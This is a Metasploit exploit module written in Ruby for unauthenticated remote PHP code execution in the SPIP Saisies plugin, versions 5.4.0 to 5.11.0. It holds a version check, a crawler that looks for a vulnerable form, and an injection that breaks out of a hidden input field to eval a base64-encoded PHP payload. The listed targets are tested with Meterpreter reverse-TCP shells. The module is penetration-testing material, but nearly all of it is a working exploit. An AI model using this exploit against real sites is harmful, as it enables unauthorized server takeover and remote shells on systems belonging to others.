##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Spip
  prepend Msf::Exploit::Remote::AutoCheck

  FORM_PARAM = '_anciennes_valeurs'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SPIP Saisies Plugin Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated PHP code injection in the SPIP
          Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is
          interpolated unsanitized into a hidden field rendered with
          interdire_scripts=false, allowing direct PHP code execution via template
          eval.

          Exploitation requires a publicly accessible page containing a
          saisies-powered form, most commonly created with the Formidable plugin.
          Use the FORM_PAGE option to specify a known form page, or set it to
          'crawl' to automatically discover one by following internal links from
          the SPIP sitemap.

          Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.
        },
        'Author' => [
          'OpenStudio', # Discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>' # PoC and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-71243'],
          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html'],
          ['URL', 'https://plugins.spip.net/saisies']
        ],
        'Targets' => [
          [
            'PHP In-Memory', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2025-02-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('FORM_PAGE', [
        true,
        'Page containing a saisies form (e.g. "contact"), or "crawl" to auto-discover',
        'crawl'
      ]),
      OptInt.new('CRAWL_MAX_PAGES', [true, 'Maximum pages to visit when crawling', 100])
    ])
  end

  def check
    version = spip_plugin_version('saisies')
    if version
      print_status("Saisies plugin version: #{version}")
      if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0'))
        return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).")
      end

      return CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.")
    end

    spip_ver = spip_version
    return CheckCode::Unknown('Target does not appear to be running SPIP.') unless spip_ver

    CheckCode::Detected("SPIP #{spip_ver} detected but could not determine saisies plugin version.")
  end

  # Find a page containing a saisies form (_anciennes_valeurs parameter).
  # When FORM_PAGE is set to a specific page name, only that page is checked.
  # When set to 'crawl', the module fetches the SPIP sitemap and follows
  # internal links until a form is found or CRAWL_MAX_PAGES is reached.
  def find_form_page
    if datastore['FORM_PAGE'].downcase != 'crawl'
      page = datastore['FORM_PAGE']
      if page.start_with?('/')
        return page if saisies_form?(page)

        fail_with(Failure::NotFound, "No saisies form found at #{page}")
      end

      uri = normalize_uri(target_uri.path, 'spip.php')
      full_uri = "#{uri}?page=#{page}"
      return full_uri if saisies_form?(uri, 'page' => page)

      fail_with(Failure::NotFound, "No saisies form found at #{full_uri}")
    end

    crawl_for_form
  end

  def saisies_form?(uri, vars_get = {})
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => vars_get)
    res&.code == 200 && res.body.include?(FORM_PARAM)
  end

  def crawl_for_form
    max_pages = datastore['CRAWL_MAX_PAGES']
    seen = Set.new
    queue = []

    # Seed with the SPIP sitemap page
    plan_path = normalize_uri(target_uri.path, 'spip.php')
    plan_uri = "#{plan_path}?page=plan"
    res = send_request_cgi('method' => 'GET', 'uri' => plan_path, 'vars_get' => { 'page' => 'plan' })
    if res&.code == 200
      seen.add(plan_uri)
      extract_internal_links(res).each { |link| queue << link }
    end

    # Also seed with the base URL
    base_uri = normalize_uri(target_uri.path, 'spip.php')
    queue << base_uri unless seen.include?(base_uri)

    print_status("Crawling for saisies forms (max #{max_pages} pages)...")

    until queue.empty? || seen.size >= max_pages
      uri = queue.shift
      next if seen.include?(uri)

      seen.add(uri)
      vprint_status("Checking #{uri}")

      begin
        res = send_request_cgi('method' => 'GET', 'uri' => uri)
      rescue ::Rex::ConnectionError
        next
      end

      next unless res&.code == 200

      if res.body.include?(FORM_PARAM)
        print_good("Form found at #{uri} (checked #{seen.size} pages)")
        return uri
      end

      extract_internal_links(res).each do |link|
        queue << link unless seen.include?(link)
      end
    end

    fail_with(Failure::NotFound, "No saisies form found after crawling #{seen.size} pages.")
  end

  # Extract internal links from an HTML response, filtering out static assets.
  def extract_internal_links(res)
    links = []
    doc = res.get_html_document
    return links unless doc

    doc.css('a[href]').each do |a|
      href = a['href'].to_s.strip
      next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i)

      # Resolve protocol-relative URLs (//example.com/page)
      if href.start_with?('//')
        href = "#{ssl ? 'https' : 'http'}:#{href}"
      end

      # Resolve absolute URLs to paths
      if href.start_with?('http://', 'https://')
        uri = begin
          URI.parse(href)
        rescue StandardError
          next
        end
        target = begin
          URI.parse(full_uri)
        rescue StandardError
          next
        end
        next unless uri.host == target.host

        href = uri.path
        href += "?#{uri.query}" if uri.query
      elsif !href.start_with?('/')
        href = normalize_uri(target_uri.path, href)
      end

      links << href
    end

    links.uniq
  end

  def exploit
    form_uri = find_form_page

    print_status('Sending payload...')

    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    b64 = Rex::Text.encode_base64(phped_payload)
    tag = Rex::Text.rand_text_alpha(8)
    injection = "#{tag}' /><?php eval(base64_decode('#{b64}')); ?><input value='#{tag}"

    send_request_cgi({
      'method' => 'POST',
      'uri' => form_uri,
      'vars_post' => {
        FORM_PARAM => injection
      }
    }, 5)
  end
end
